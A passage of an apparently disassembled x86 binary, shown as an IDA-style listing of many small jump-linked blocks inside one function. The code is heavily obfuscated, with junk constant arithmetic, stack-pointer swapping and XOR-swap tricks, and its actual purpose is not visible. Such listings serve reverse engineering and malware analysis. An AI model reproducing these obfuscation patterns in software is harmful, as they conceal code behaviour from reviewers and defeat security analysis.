; ---------------------------------------------------------------------------


loc_5C62BA:				; CODE XREF: sub_5A55E5+2AFDCj
		add	edx, eax
		mov	eax, [esp+0B2h+var_B4+2]
		jmp	loc_5D328E
; ---------------------------------------------------------------------------


loc_5C62C4:				; CODE XREF: sub_5A55E5+23DBFj
		add	eax, 4
		sub	eax, 4
		jmp	loc_5C8423
; ---------------------------------------------------------------------------


loc_5C62D3:				; CODE XREF: sub_5A55E5+2B58Aj
		push	edx
		push	1
		mov	edx, [esp+0BAh+var_BC+2]
		add	esp, 4
		jmp	loc_5D19C6
; ---------------------------------------------------------------------------


loc_5C62E7:				; CODE XREF: sub_5A55E5+2E136j
		push	ecx
		push	esi
		add	[esp+0BEh+var_C0+2], 3DEF40F1h
		pop	ecx
		sub	ecx, 3DEF40F1h
		jmp	loc_5CFFA4
; ---------------------------------------------------------------------------


loc_5C62FC:				; CODE XREF: sub_5A55E5+1C080j
		mov	edi, 6AA536CEh
		shr	edi, 1
		shr	edi, 6
		sub	edi, 0D54A69h
		add	ecx, edi
		jmp	loc_5CA613
; ---------------------------------------------------------------------------


loc_5C6313:				; CODE XREF: sub_5A55E5+28EB3j
		xor	ecx, 0D92D93D3h
		mov	ebx, ecx
		pop	ecx
		sub	ebx, 0FFFFFFFFh
		sub	ebx, 1
		or	ebx, 608267ECh
		push	ecx
		push	65A777FBh
		pop	ecx
		xor	ebx, ecx
		pop	ecx
		add	esi, ebx
		mov	ebx, [esp+9Eh+var_A0+2]
		add	esp, 4
		push	esi
		push	[esp+9Eh+var_9C+2]
		mov	esi, [esp+0A2h+var_A4+2]
		jmp	loc_5C24D8
; ---------------------------------------------------------------------------


loc_5C634A:				; CODE XREF: sub_5A55E5+2E8F7j
		add	esi, 4
		xchg	esi, [esp+0A2h+var_A4+2]
		mov	esp, [esp+0A2h+var_A4+2]
		jmp	loc_5CAFB2
; ---------------------------------------------------------------------------


loc_5C6358:				; CODE XREF: sub_5A55E5+1A689j
		mov	eax, [esp+9Ah+var_9C+2]
		jmp	loc_5CA974
; ---------------------------------------------------------------------------


loc_5C6360:				; CODE XREF: sub_5A55E5+24DD0j
		mov	edi, 4
		add	ecx, edi
		pop	edi
		xchg	ecx, [esp+96h+var_98+2]
		mov	esp, [esp+96h+var_98+2]
		jmp	loc_5C356E
; ---------------------------------------------------------------------------


loc_5C6373:				; CODE XREF: sub_5A55E5+2781Fj
		sub	esi, 0E9F1016h
		pop	eax
		sub	ecx, esi
		mov	esi, [esp+92h+var_94+2]
		add	esp, 4
		xor	ecx, [esp+8Eh+var_90+2]
		jmp	loc_5CE3BF
; ---------------------------------------------------------------------------


loc_5C638D:				; CODE XREF: sub_5A55E5+29918j
		pop	ebx
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], ebp
		jmp	loc_5C0FD9
; ---------------------------------------------------------------------------


loc_5C639C:				; CODE XREF: sub_5A55E5+2B052j
		sub	esi, ebx
		jmp	loc_5BFE0A
; ---------------------------------------------------------------------------


loc_5C63A3:				; CODE XREF: sub_5A55E5+20945j
		xor	edx, 9B29B11Ah
		jmp	loc_5D297D
; ---------------------------------------------------------------------------


loc_5C63AE:				; CODE XREF: sub_5A55E5+2C8D0j
		pop	eax
		add	ebp, 2
		jmp	loc_5C23F7
; ---------------------------------------------------------------------------


loc_5C63BA:				; CODE XREF: sub_5A55E5+2E181j
		push	edx
		jmp	loc_5C31AC
; ---------------------------------------------------------------------------


loc_5C63C0:				; CODE XREF: sub_5A55E5+276FFj
		mov	[esp+84h+var_84], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		mov	[esp+84h+var_84], eax
		jmp	loc_5C45D6
; ---------------------------------------------------------------------------


loc_5C63E2:				; CODE XREF: sub_5A55E5+2BCAFj
		mov	esi, eax
		pop	eax
		sub	edx, esi
		jmp	loc_5CCC95
; ---------------------------------------------------------------------------


loc_5C63EC:				; CODE XREF: sub_5A55E5+2D43Ej
		mov	esp, [esp+80h+var_80]
		jmp	loc_5CB716
; ---------------------------------------------------------------------------


loc_5C63F4:				; CODE XREF: sub_5A55E5+1D482j
		add	esp, 4
		add	esp, 4
		add	eax, 4
		sub	eax, 2
		xchg	eax, [esp+84h+var_84]
		mov	esp, [esp+84h+var_84]
		mov	word ptr [esp+84h+var_84], cx
		jmp	loc_5CACE7
; ---------------------------------------------------------------------------


loc_5C6417:				; CODE XREF: sub_5A55E5+28335j
		sub	esi, 4
		xor	esi, [esp+84h+var_84]
		jmp	loc_5D3119
; ---------------------------------------------------------------------------


loc_5C6422:				; CODE XREF: sub_5A55E5+2208Dj
		mov	eax, [esp+84h+var_84]
		add	esp, 4
		xor	esi, [esp+80h+var_80]
		xor	[esp+80h+var_80], esi
		xor	esi, [esp+80h+var_80]
		mov	esp, [esp+80h+var_80]
		imul	cl
		movzx	cx, ah
		push	small 6590h
		mov	word ptr [esp+82h+var_84+2], cx
		jmp	loc_5C4E77
; ---------------------------------------------------------------------------


loc_5C644A:				; CODE XREF: sub_5A55E5+1AB9Bj
		sub	esp, 4
		mov	[esp+82h+var_84+2], edx
		mov	dh, 2Fh
		inc	dh
		jmp	loc_5CB48A
; ---------------------------------------------------------------------------


loc_5C6459:				; CODE XREF: sub_5A55E5+1E938j
		xor	[esp+9Eh+var_A0+2], edx
		jmp	loc_5D24E9
; ---------------------------------------------------------------------------


loc_5C6461:				; CODE XREF: sub_5A55E5+2A6F8j
		push	ecx
		push	21D36116h
		pop	ecx
		add	ecx, 4B8DC931h
		jmp	loc_5C14B0
; ---------------------------------------------------------------------------


loc_5C6473:				; CODE XREF: sub_5A55E5+1AE19j
		mov	[esp+9Ch+var_9C], edx
		push	[esp+9Ch+var_98]
		mov	edx, [esp+0A0h+var_A0]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		push	ebp
		jmp	loc_5C75C6
; ---------------------------------------------------------------------------


loc_5C648D:				; CODE XREF: sub_5A55E5+22AC2j
		mov	eax, 15E82CD6h
		shr	eax, 7
		push	esi
		mov	esi, 231043Ah
		add	eax, esi
		pop	esi
		sub	eax, 12DE1807h
		jmp	loc_5C6A49
; ---------------------------------------------------------------------------


loc_5C64A8:				; CODE XREF: sub_5A55E5+24581j
		xor	ecx, eax
		push	0C13h
		mov	[esp+0B0h+var_B0], esi
		jmp	loc_5C59BF
; ---------------------------------------------------------------------------


loc_5C64B7:				; CODE XREF: sub_5A55E5+1DFE5j
		inc	edi
		neg	edi
		add	edi, 7FF67BFAh
		add	eax, edi
		pop	edi
		xchg	eax, [esp+0B2h+var_B4+2]
		pop	esp
		inc	ebx
		jmp	loc_5D0486
; ---------------------------------------------------------------------------


loc_5C64CD:				; CODE XREF: sub_5A55E5+24377j
		mov	cl, dl
		mov	bl, cl
		pop	ecx
		push	edx
		mov	dh, bl
		mov	cl, dh
		mov	edx, [esp+0AEh+var_B0+2]
		add	esp, 4
		pop	ebx
		jmp	loc_5C8F66
; ---------------------------------------------------------------------------


loc_5C64E3:				; CODE XREF: sub_5A55E5+1E19Aj
		mov	ebx, 15B7791Fh
		shr	ebx, 7
		dec	ebx
		sub	ebx, 3156361h
		jmp	loc_5D0418
; ---------------------------------------------------------------------------


loc_5C64F7:				; CODE XREF: sub_5A55E5+21145j
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp+0C0h+var_C0]
		pop	esp
		jmp	loc_5C3E96
; ---------------------------------------------------------------------------


loc_5C6503:				; CODE XREF: sub_5A55E5+2B679j
		push	esp
		pop	ecx
		push	5DF9h
		jmp	loc_5D01E9
; ---------------------------------------------------------------------------


loc_5C650F:				; CODE XREF: sub_5A55E5+2325Bj
		xor	edi, 7E3085A8h
		jmp	loc_5C7765
; ---------------------------------------------------------------------------


loc_5C651A:				; CODE XREF: sub_5A55E5+2BA18j
		xor	ebx, eax
		pop	eax
		xor	edx, ebx
		pop	ebx
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C6525:				; CODE XREF: sub_5A55E5+1ADACj
		xchg	edx, edi
		or	edi, 3CD309BBh
		sub	edi, 4D50F1B1h
		xor	eax, edi
		pop	edi
		jmp	loc_5C5FD6
; ---------------------------------------------------------------------------


loc_5C653B:				; CODE XREF: sub_5A55E5+2636Dj
		mov	edi, [esp+0A0h+var_A0]
		add	esp, 4
		sub	[edi+24h], ebx
		push	[esp+9Ch+var_9C]
		jmp	loc_5CA8D9
; ---------------------------------------------------------------------------


loc_5C654C:				; CODE XREF: sub_5A55E5+1F827j
		push	edi
		mov	edi, 3CDD3B55h
		inc	edi
		xor	edi, 7ADD6FC5h
		add	edi, 6C0C5EC2h
		xor	edi, 0B233E6BDh
		jmp	loc_5C83CE
; ---------------------------------------------------------------------------


loc_5C656A:				; CODE XREF: sub_5A55E5+1D6ECj
		add	ebx, 106C3980h
		inc	ebx
		push	eax
		push	ebp
		jmp	loc_5C09FC
; ---------------------------------------------------------------------------


loc_5C6578:				; CODE XREF: sub_5A55E5+2C8FDj
		mov	bl, 5Eh
		jmp	loc_5CAFD0
; ---------------------------------------------------------------------------


loc_5C657F:				; CODE XREF: sub_5A55E5+2A824j
		mov	esi, eax
		push	[esp+98h+var_98]
		pop	eax
		add	esp, 4
		jmp	loc_5CB9DF
; ---------------------------------------------------------------------------


loc_5C658D:				; CODE XREF: sub_5A55E5+1CE2Fj
		xor	ebx, 71FB75D1h
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		jmp	loc_5C83F9
; ---------------------------------------------------------------------------


loc_5C65A1:				; CODE XREF: sub_5A55E5+1E60Ej
		push	ebx
		mov	ebx, 18DC4CEBh
		sub	edi, ebx
		jmp	loc_5C0A88
; ---------------------------------------------------------------------------


loc_5C65AE:				; CODE XREF: sub_5A55E5+2A398j
		pop	ecx
		jmp	loc_5CD7D7
; ---------------------------------------------------------------------------


loc_5C65B4:				; CODE XREF: sub_5A55E5+2480Aj
		xchg	edi, [esp+0ACh+var_AC]
		pop	esp
		mov	[esp+0A8h+var_A8], edx
		mov	edx, 5B1410A2h
		jmp	loc_5C21BA
; ---------------------------------------------------------------------------


loc_5C65C5:				; CODE XREF: sub_5A55E5+21260j
		sub	ebx, 19B44B09h
		xor	ebx, 64CEE653h
		sub	esi, 5D4B7974h
		sub	esi, 6939658Fh
		add	esi, ebx
		jmp	loc_5C1488
; ---------------------------------------------------------------------------


loc_5C65E4:				; CODE XREF: sub_5A55E5+25C97j
		add	ebp, 4
		jmp	loc_5C04C0
; ---------------------------------------------------------------------------


loc_5C65EC:				; CODE XREF: sub_5A55E5+2CA59j
		pop	edx
		push	esi
		mov	esi, 56BD76B4h
		xor	edx, esi
		jmp	loc_5C20DF
; ---------------------------------------------------------------------------


loc_5C65FA:				; CODE XREF: sub_5A55E5+1BF16j
		xor	edx, esi
		pop	esi
		jmp	loc_5C8B0A
; ---------------------------------------------------------------------------


loc_5C6602:				; CODE XREF: sub_5A55E5+25EB2j
		xor	[esp+5Ch+var_5C], edx
		jmp	loc_5C5D42
; ---------------------------------------------------------------------------


loc_5C660A:				; CODE XREF: sub_5A55E5+269A2j
		pop	eax
		add	esi, 3804A881h
		and	eax, esi
		pop	esi
		or	eax, eax
		jz	loc_5C4AF9
		push	edx
		push	2971h
		mov	[esp+5Ch+var_5C], esi
		jmp	loc_5D0693
; ---------------------------------------------------------------------------


loc_5C662A:				; CODE XREF: sub_5A55E5+2E36Bj
		xchg	ebx, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		push	188Fh
		mov	[esp+60h+var_60], esp
		add	[esp+60h+var_60], 4
		jmp	loc_5C48AD
; ---------------------------------------------------------------------------


loc_5C6641:				; CODE XREF: sub_5A55E5+27D05j
		mov	[esp+60h+var_60], esi
		sub	esp, 4
		push	esp
		pop	[esp+68h+var_68]
		push	7C7h
		mov	[esp+68h+var_68], ebp
		jmp	loc_5C0844
; ---------------------------------------------------------------------------


loc_5C665B:				; CODE XREF: sub_5A55E5+1E559j
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C6660:				; CODE XREF: sub_5A55E5+2177Dj
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C6665:				; CODE XREF: sub_5A55E5+2547Fj
		and	ecx, eax
		pop	eax
		xor	ecx, 265B6E7Dh
		sub	edx, 2A016F63h
		add	edx, ecx
		add	edx, 2A016F63h
		mov	ecx, [esp+84h+var_84]
		jmp	loc_5CA89E
; ---------------------------------------------------------------------------


loc_5C6684:				; CODE XREF: sub_5A55E5+1E3DCj
		push	2C0Fh
		mov	[esp+0ACh+var_AC], edx
		mov	edx, 4
		sub	[esp+0ACh+var_A8], 24253DA0h
		add	[esp+0ACh+var_A8], edx
		add	[esp+0ACh+var_A8], 24253DA0h
		pop	edx
		push	[esp+0A8h+var_A8]
		pop	edi
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5CB679
; ---------------------------------------------------------------------------


loc_5C66B8:				; CODE XREF: sub_5A55E5+2E080j
		sub	[esp+0ACh+var_A4], edi
		pop	edi
		jmp	loc_5C334F
; ---------------------------------------------------------------------------


loc_5C66C2:				; CODE XREF: sub_5A55E5+2B54Dj
		mov	bh, 88h
		push	edx
		mov	dl, bh
		mov	al, dl
		mov	edx, [esp+0ACh+var_AC]
		add	esp, 4
		mov	ebx, [esp+0A8h+var_A8]
		add	esp, 4
		dec	al
		jmp	loc_5C81B8
; ---------------------------------------------------------------------------


loc_5C66DF:				; CODE XREF: sub_5A55E5+1B501j
		sub	ebx, 0F685015Eh
		sub	ebp, ebx
		mov	ebx, [esp+8Ah+var_8C+2]
		jmp	loc_5CAADB
; ---------------------------------------------------------------------------


loc_5C66EF:				; CODE XREF: sub_5A55E5+23D47j
		sub	esp, 4
		jmp	loc_5CE5D6
; ---------------------------------------------------------------------------


loc_5C66F7:				; CODE XREF: sub_5A55E5+2ABB5j
		pop	ebx
		jmp	loc_5CC335
; ---------------------------------------------------------------------------


loc_5C66FD:				; CODE XREF: sub_5A55E5+2B602j
		sub	ebx, 1FB83213h
		xor	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], edi
		pop	ecx
		mov	edi, [esp+86h+var_88+2]
		jmp	loc_5C72FD
; ---------------------------------------------------------------------------


loc_5C6718:				; CODE XREF: sub_5A55E5+22DABj
		push	edx
		jmp	loc_5D0C39
; ---------------------------------------------------------------------------


loc_5C671E:				; CODE XREF: sub_5A55E5+1C13Bj
		add	ebp, 4
		push	edi
		mov	edi, 4
		jmp	loc_5C64F7
; ---------------------------------------------------------------------------


loc_5C672F:				; CODE XREF: sub_5A55E5+1FB44j
		mov	dx, word ptr [esp+92h+var_94+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 2
		xchg	edx, [esp+96h+var_98+2]
		pop	esp
		shl	bl, 2
		xor	bl, 0CCh
		jmp	loc_5CBBB0
; ---------------------------------------------------------------------------


loc_5C674E:				; CODE XREF: sub_5A55E5+1EE54j
		add	ecx, edx
		sub	ecx, 6B124D98h
		pop	edx
		sub	ecx, 4
		sub	esp, 4
		mov	[esp+70h+var_70], ecx
		push	[esp+70h+var_6C]
		jmp	loc_5C1AB5
; ---------------------------------------------------------------------------


loc_5C676F:				; CODE XREF: sub_5A55E5+2942Cj
		pop	eax
		and	esi, 65876784h
		push	ebx
		mov	ebx, 4C3D1D3Bh
		dec	ebx
		jmp	loc_5CC0AC
; ---------------------------------------------------------------------------


loc_5C6782:				; CODE XREF: sub_5A55E5+290A2j
		push	1E1Ah
		jmp	loc_5C0A6B
; ---------------------------------------------------------------------------


loc_5C678C:				; CODE XREF: sub_5A55E5+2E763j
		add	[esp+78h+var_78], 4
		jmp	loc_5C1FD8
; ---------------------------------------------------------------------------


loc_5C6798:				; CODE XREF: sub_5A55E5+26C5Ej
		shl	edx, 5
		jmp	loc_5D1BDF
; ---------------------------------------------------------------------------


loc_5C67A0:				; CODE XREF: sub_5A55E5+1C233j
		push	eax
		mov	al, 80h
		sub	ch, al
		mov	eax, [esp+0A2h+var_A4+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+0A6h+var_A8+2]
		mov	esp, [esp+0A6h+var_A8+2]
		and	ch, 86h
		sub	esp, 4
		jmp	loc_5CB8F4
; ---------------------------------------------------------------------------


loc_5C67C8:				; CODE XREF: sub_5A55E5+1FD82j
		add	ebp, esi
		pop	esi
		mov	eax, 6EFD7D92h
		sub	eax, ebp
		mov	ebp, [esp+9Ch+var_9C]
		add	esp, 4
		sub	edi, 76692F79h
		add	edi, eax
		add	edi, 76692F79h
		push	[esp+98h+var_98]
		pop	eax
		push	ebx
		jmp	loc_5D360C
; ---------------------------------------------------------------------------


loc_5C67F0:				; CODE XREF: sub_5A55E5+2605Aj
		mov	bh, ah
		mov	dl, bh
		pop	ebx
		pop	eax
		jmp	loc_5CC557
; ---------------------------------------------------------------------------


loc_5C67FB:				; CODE XREF: sub_5A55E5+271D3j
		push	eax
		jmp	loc_5CD0AC
; ---------------------------------------------------------------------------


loc_5C6801:				; CODE XREF: sub_5A55E5+27C25j
		mov	ebx, [esp+98h+var_98]
		add	esp, 4
		mov	ebx, ecx
		pop	ecx
		and	eax, ebx
		mov	ebx, [esp+90h+var_90]
		push	edx
		jmp	loc_5CFC32
; ---------------------------------------------------------------------------


loc_5C6818:				; CODE XREF: sub_5A55E5+25CB4j
		push	5A40h
		mov	[esp+98h+var_98], edx
		mov	dl, 28h
		dec	dl
		push	0
		sub	byte ptr [esp+9Ch+var_9C], dl
		jmp	loc_5C2085
; ---------------------------------------------------------------------------


loc_5C6831:				; CODE XREF: sub_5A55E5+1C48Fj
		xor	[esp+0B6h+var_B8+2], edx
		xor	edx, [esp+0B6h+var_B8+2]
		mov	esp, [esp+0B6h+var_B8+2]
		idiv	ecx
		push	esi
		mov	esi, esp
		push	ebx
		mov	ebx, 7E833160h
		jmp	loc_5C65C5
; ---------------------------------------------------------------------------


loc_5C684A:				; CODE XREF: sub_5A55E5+21F4Bj
		pop	eax
		push	ebx
		mov	ebx, 4
		add	esi, ebx
		mov	ebx, [esp+0BEh+var_C0+2]
		jmp	loc_5CD6DD
; ---------------------------------------------------------------------------


loc_5C685B:				; CODE XREF: sub_5A55E5+26550j
		push	362Fh
		jmp	loc_5CEBCA
; ---------------------------------------------------------------------------


loc_5C6865:				; CODE XREF: sub_5A55E5+2E6BBj
		shr	edx, 4
		shl	edx, 2
		jmp	loc_5C69DE
; ---------------------------------------------------------------------------


loc_5C6870:				; CODE XREF: sub_5A55E5+20AEFj
		mov	edi, eax
		pop	eax
		not	edi
		sub	edi, 5B28437Fh
		shl	edi, 7
		sub	edi, 0FFFFFFFFh
		xor	edi, 0EC39C066h
		sub	ebp, edi
		pop	edi
		jmp	loc_5C2C6C
; ---------------------------------------------------------------------------


loc_5C6892:				; CODE XREF: sub_5A55E5+29334j
		pop	[esp+96h+var_98+2]
		jmp	loc_5CF73A
; ---------------------------------------------------------------------------


loc_5C689A:				; CODE XREF: sub_5A55E5+249F2j
		add	esp, 4
		and	ecx, esi
		mov	esi, [esp+8Eh+var_90+2]
		add	esp, 4
		shr	ecx, 6
		sub	esp, 4
		mov	[esp+8Eh+var_90+2], ebx
		jmp	loc_5CB49C
; ---------------------------------------------------------------------------


loc_5C68B6:				; CODE XREF: sub_5A55E5+2C687j
		pop	edi
		add	esp, 4
		push	ebp
		push	[esp+8Ah+var_88+2]
		push	[esp+8Eh+var_90+2]
		pop	ebp
		add	esp, 4
		pop	[esp+8Ah+var_8C+2]
		jmp	loc_5CBA53
; ---------------------------------------------------------------------------


loc_5C68CE:				; CODE XREF: sub_5A55E5+2205Aj
		sub	eax, 18880109h
		mov	ecx, eax
		push	[esp+86h+var_88+2]
		jmp	loc_5C572D
; ---------------------------------------------------------------------------


loc_5C68DD:				; CODE XREF: sub_5A55E5+241DFj
		push	edi
		push	[esp+8Eh+var_8C+2]
		pop	edi
		jmp	loc_5C9E3F
; ---------------------------------------------------------------------------


loc_5C68E8:				; CODE XREF: sub_5A55E5+27E48j
		neg	edx
		xor	edx, 524D038Eh
		jmp	loc_5CF71D
; ---------------------------------------------------------------------------


loc_5C68F5:				; CODE XREF: sub_5A55E5+2492Cj
		push	ebp
		jmp	loc_5C2745
; ---------------------------------------------------------------------------


loc_5C68FB:				; CODE XREF: sub_5A55E5+1B6E8j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+90h+var_90]
		pop	esp
		pop	[esp+8Ch+var_8C]
		mov	esp, [esp+88h+var_88]
		ror	word ptr [esp+88h+var_88], cl
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C691A:				; CODE XREF: sub_5A55E5+23D93j
		sub	ebp, 4
		xchg	ebp, [esp+8Ch+var_8C]
		pop	esp
		mov	[esp+88h+var_88], ebp
		push	esi
		mov	esi, 5B7E192Bh
		shr	esi, 1
		add	esi, 0D240F36Dh
		push	esi
		add	[esp+90h+var_90], 49904A79h
		pop	ebp
		sub	ebp, 49904A79h
		pop	esi
		sub	esi, ebp
		pop	ebp
		xchg	esi, [esp+84h+var_84]
		pop	esp
		mov	word ptr [esp+80h+var_80], ax
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C6955:				; CODE XREF: sub_5A55E5+27EC5j
		not	ebx
		shr	ebx, 7
		and	ebx, 438A13DDh
		add	ebx, 61F336F7h
		jmp	loc_5C35BB
; ---------------------------------------------------------------------------


loc_5C696B:				; CODE XREF: sub_5A55E5+2E49Fj
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5C588A
; ---------------------------------------------------------------------------


loc_5C6979:				; CODE XREF: sub_5A55E5+1A8FAj
		push	7C4D4DDFh
		push	[esp+8Ch+var_8C]
		pop	ebp
		add	esp, 4
		push	esi
		jmp	loc_5BFF5D
; ---------------------------------------------------------------------------


loc_5C698E:				; CODE XREF: sub_5A55E5+28E8Aj
		mov	bh, dl
		pop	edx
		and	bh, 0F6h
		xor	bh, 92h
		sub	ch, bh
		mov	bx, word ptr [esp+88h+var_88]
		push	edx
		jmp	loc_5C4E70
; ---------------------------------------------------------------------------


loc_5C69A3:				; CODE XREF: sub_5A55E5+218D9j
		push	[esp+8Ch+var_88]
		mov	esi, [esp+90h+var_90]
		push	edx
		mov	edx, esp
		jmp	loc_5C0DB9
; ---------------------------------------------------------------------------


loc_5C69B2:				; CODE XREF: sub_5A55E5+1F930j
		add	ebx, edi
		add	ebx, 426E3E54h
		mov	edi, [esp+90h+var_90]
		add	esp, 4
		xor	ebx, [esp+8Ch+var_8C]
		xor	[esp+8Ch+var_8C], ebx
		xor	ebx, [esp+8Ch+var_8C]
		mov	esp, [esp+8Ch+var_8C]
		jmp	loc_5CAD97
; ---------------------------------------------------------------------------


loc_5C69D4:				; CODE XREF: sub_5A55E5+28426j
		mov	[esp+8Ch+var_8C], edx
		push	eax
		pushf
		jmp	loc_5BF83C
; ---------------------------------------------------------------------------


loc_5C69DE:				; CODE XREF: sub_5A55E5+21286j
		shr	edx, 1
		dec	edx
		xor	edx, 12229BDh
		jmp	loc_5D08DA
; ---------------------------------------------------------------------------


loc_5C69EC:				; CODE XREF: sub_5A55E5+2C9E7j
		xor	al, dl
		push	[esp+0C2h+var_C4+2]
		mov	edx, [esp+0C6h+var_C8+2]
		push	ebp
		push	esp
		pop	ebp
		push	eax
		push	ecx
		push	6CD64110h
		pop	ecx
		xor	ecx, 395A445Dh
		shr	ecx, 1
		xor	ecx, 55277D0Eh
		add	ecx, 801E805Ch
		push	ecx
		sub	[esp+0D6h+var_D8+2], 7D9D1D76h
		pop	eax
		add	eax, 7D9D1D76h
		jmp	loc_5C0E02
; ---------------------------------------------------------------------------


loc_5C6A26:				; CODE XREF: sub_5A55E5+2C986j
		add	ebx, 6C3F08EFh
		pop	eax
		xchg	ebx, [esp+0CEh+var_D0+2]
		pop	esp
		sub	esp, 4
		mov	[esp+0CEh+var_D0+2], esi
		mov	esi, esp
		push	5647h
		mov	[esp+0D2h+var_D4+2], eax
		jmp	loc_5BFC5E
; ---------------------------------------------------------------------------


loc_5C6A49:				; CODE XREF: sub_5A55E5+20EBEj
		not	eax
		sub	eax, 1081436Fh
		add	esi, eax
		pop	eax
		jmp	loc_5C4199
; ---------------------------------------------------------------------------


loc_5C6A58:				; CODE XREF: sub_5A55E5+2DDD1j
		sub	esp, 4
		mov	[esp+0ACh+var_AC], esi
		jmp	loc_5D397A
; ---------------------------------------------------------------------------


loc_5C6A66:				; CODE XREF: sub_5A55E5+29661j
		sub	ch, 0BCh
		dec	ch
		or	ch, 0E7h
		xor	ch, 93h
		inc	ch
		sub	ch, 0B3h
		push	edx
		mov	dh, ch
		mov	al, dh
		pop	edx
		pop	ecx
		sub	bh, al
		pop	ax
		push	ecx
		mov	ch, 6Ah
		xor	ch, 83h
		add	ch, 8Ah
		jmp	loc_5C05B7
; ---------------------------------------------------------------------------


loc_5C6A8F:				; CODE XREF: sub_5A55E5+25C65j
		mov	edx, 28D701C1h
		shr	edx, 6
		add	edx, 18F7C5E4h
		jmp	loc_5C8353
; ---------------------------------------------------------------------------


loc_5C6AA2:				; CODE XREF: sub_5A55E5+282B0j
		shr	ebx, 7
		dec	ebx
		neg	ebx
		sub	ebx, 38BF3749h
		xor	ebx, 0C68F9093h
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp+0A6h+var_A8+2]
		pop	esp
		pop	bx
		push	bx
		jmp	loc_5D1FD1
; ---------------------------------------------------------------------------


loc_5C6AC4:				; CODE XREF: sub_5A55E5+2D78Dj
		add	edx, 4
		jmp	loc_5C81A2
; ---------------------------------------------------------------------------


loc_5C6ACF:				; CODE XREF: sub_5A55E5+1A46Fj
		add	ecx, 4
		jmp	loc_5C88E8
; ---------------------------------------------------------------------------


loc_5C6ADA:				; CODE XREF: sub_5A55E5+2E6E4j
		add	esp, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5C9033
; ---------------------------------------------------------------------------


loc_5C6AF0:				; CODE XREF: sub_5A55E5+2C841j
		mov	bh, 48h
		mov	ch, bh
		pop	ebx
		add	ch, 0CEh
		xor	ch, 0E9h
		push	ebx
		mov	bl, 60h
		sub	al, bl
		push	[esp+48h+var_4A+2]
		pop	ebx
		push	2DDDh
		jmp	loc_5C33A9
; ---------------------------------------------------------------------------


loc_5C6B0E:				; CODE XREF: sub_5A55E5+264AAj
		sub	ebp, 42AB2F7Bh
		pop	ecx
		xor	ebp, [esp+48h+var_4A+2]
		xor	[esp+48h+var_4A+2], ebp
		xor	ebp, [esp+48h+var_4A+2]
		mov	esp, [esp+48h+var_4A+2]
		push	3138h
		mov	[esp+0], eax
		sub	esp, 4
		mov	[esp+50h+var_50], ebx
		sub	esp, 4
		mov	[esp+54h+var_54], eax
		mov	al, 0EAh
		push	small 247Ah
		jmp	loc_5C7F36
; ---------------------------------------------------------------------------


loc_5C6B40:				; CODE XREF: sub_5A55E5+1BE9Ej
		sub	esi, 0F0231FEDh
		add	ebp, esi
		pop	esi
		add	ebp, edi
		push	ebx
		mov	ebx, 7E882BE1h
		sub	ebp, 18DA2768h
		sub	ebp, ebx
		add	ebp, 18DA2768h
		pop	ebx
		mov	edi, [esp+8Ah+var_8C+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5D2A28
; ---------------------------------------------------------------------------


loc_5C6B71:				; CODE XREF: sub_5A55E5+1B1F7j
		pop	ecx
		jmp	loc_5D1B06
; ---------------------------------------------------------------------------


loc_5C6B77:				; CODE XREF: sub_5A55E5+21E29j
		mov	[esp+88h+var_88], esp
		add	[esp+88h+var_88], 4
		jmp	loc_5C34FE
; ---------------------------------------------------------------------------


loc_5C6B86:				; CODE XREF: sub_5A55E5+1CA6Fj
		sub	ebp, ecx
		pop	ecx
		add	ebp, ecx
		add	ebp, 6BBE4D21h
		jmp	loc_5C7257
; ---------------------------------------------------------------------------


loc_5C6B96:				; CODE XREF: sub_5A55E5+22EBCj
		sub	eax, 4
		xchg	eax, [esp+88h+var_88]
		pop	esp
		mov	[esp+84h+var_84], esi
		mov	esi, esp
		push	eax
		mov	eax, esp
		push	edx
		mov	edx, 4
		add	eax, edx
		pop	edx
		sub	eax, 4
		jmp	loc_5CE239
; ---------------------------------------------------------------------------


loc_5C6BB8:				; CODE XREF: sub_5A55E5+203A0j
		push	esi
		jmp	loc_5CDC20
; ---------------------------------------------------------------------------


loc_5C6BBE:				; CODE XREF: sub_5A55E5+2C9DEj
		mov	ebp, [esp+7Eh+var_80+2]
		jmp	loc_5D2A30
; ---------------------------------------------------------------------------


loc_5C6BC6:				; CODE XREF: sub_5A55E5+2975Fj
		or	eax, eax
		jz	loc_5D08E2
		push	66EFh
		mov	[esp+82h+var_84+2], edx
		mov	edx, 1Ch
		jmp	loc_5D1D2D
; ---------------------------------------------------------------------------


loc_5C6BE0:				; CODE XREF: sub_5A55E5+2644Aj
		push	ebx
		sub	esp, 4
		mov	[esp+8Ah+var_8C+2], ebp
		mov	ebp, 24045190h
		jmp	loc_5C377E
; ---------------------------------------------------------------------------


loc_5C6BF4:				; CODE XREF: sub_5A55E5+28766j
		sub	eax, 80D7CECh
		add	eax, ebx
		add	eax, 80D7CECh
		pop	ebx
		jmp	loc_5CF8BA
; ---------------------------------------------------------------------------
word_5C6C06	dw 2489h		; CODE XREF: sub_5A55E5+22868j
; ---------------------------------------------------------------------------
		and	al, 83h
		add	al, 24h
		add	al, 8Bh
		sbb	al, 24h
		add	esp, 4
		add	ebx, 4
		jmp	loc_5CBAFD
